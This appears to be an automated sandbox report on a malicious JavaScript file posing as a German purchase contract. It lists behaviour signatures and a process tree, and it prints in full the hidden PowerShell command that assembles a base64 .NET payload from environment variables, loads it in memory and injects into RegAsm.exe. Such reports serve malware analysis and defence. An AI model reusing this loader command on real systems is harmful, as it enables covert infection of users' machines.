Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 17:15

General

  • Target
    Kaufvertrag_LL-RK_812_SKM_C250i26060214520.js
  • Size 4.8MB
  • Sample260930-vsqefa1t7j
  • SHA256 ee610b0c78983cf0c67f8fc1bf52185d78af3e201ec06f9d070c81c005fbd1a1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Kaufvertrag_LL-RK_812_SKM_C250i26060214520.js
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    PID:3104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$saining=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$forkedly=[IO.MemoryStream][Convert]::FromBase64String($saining);[AppDomain]::CurrentDomain.Load($forkedly.ToArray())|Out-Null;[Win32.RMP.Cls_utDpRYFIag]::Met_utDpRYFIaguo('MaVrb837O8vb1ikZrPXVjcN5TYIdBNkkhPpGtBrJ4f9kU737SGnvghcigUraVgujO8KIITfkvGtywub+JWyR7HYDubcDQA3XaP0PyXNABW+DAZjcOSQQ+OCcQN/3kw3srce7MAHtQI3ArlhHtnZ/LQ==','','sTnbVVgl5Ojhv+iwUyQEvdmoSIZQ3+IscFoC/ybqnPAA66ulJ1YKLdl385FPPf+U','ty9Z3g0RyQiODB//NY5f+CdZKbXwggTPUA1kTsvwNIA=','+rfnZcIVYTCWIuNRypsb8m3303huPCDe69bhr45hLM0=','ihYLLXufYENg6OVkFpmrODEjIxT8kvdJqEPO413eR5g=','LmkcJP4UzJqaInZBVVD1NXTjpFi76CWhNFSRcupAKAg=','','K7lfu7dcHaaL7BHfF9ZAYVv8ElidgF7/zSSRfz4uqkg=','WdTJO0r7G7jaazVbKtsIhXaltcnKHpIOXDp47XnhQX8CSIRG35BXxEZFWjsHVJLt','z4n1LL+xQYh7zvSdaeegjiSM1s1Rl5uFiGVbwYpce9U=','DXQFKuKqQ6RMo7mOtF3bbp2S/OZquFYzySQsDffCO0E=','xEM1j8566ztzmGgtrRGLh3/Lo+lZeBeOQm3+MrCzp90=','','19dbp/u7jeDzSdZMSDcfM8jlg+A5492o0Hl/HApbmGM=','vZb26ITrrK2n8qCXN3ADAjxUsLxNuYLkvsGwmrkiI7o=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
      2⤵
        PID:1360

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1360-12-0x0000000000400000-0x00000000004D2000-memory.dmp

          memory/3732-0-0x00007FF9F076F000-0x00007FF9F0770000-memory.dmp

          memory/3732-4-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-3-0x00000205C08B0000-0x00000205C08D2000-memory.dmp

          memory/3732-5-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-6-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-7-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-8-0x00000205A8420000-0x00000205A8442000-memory.dmp

          memory/3732-9-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-10-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-11-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp

          memory/3732-14-0x00007FF9F05E0000-0x00007FF9F0F84000-memory.dmp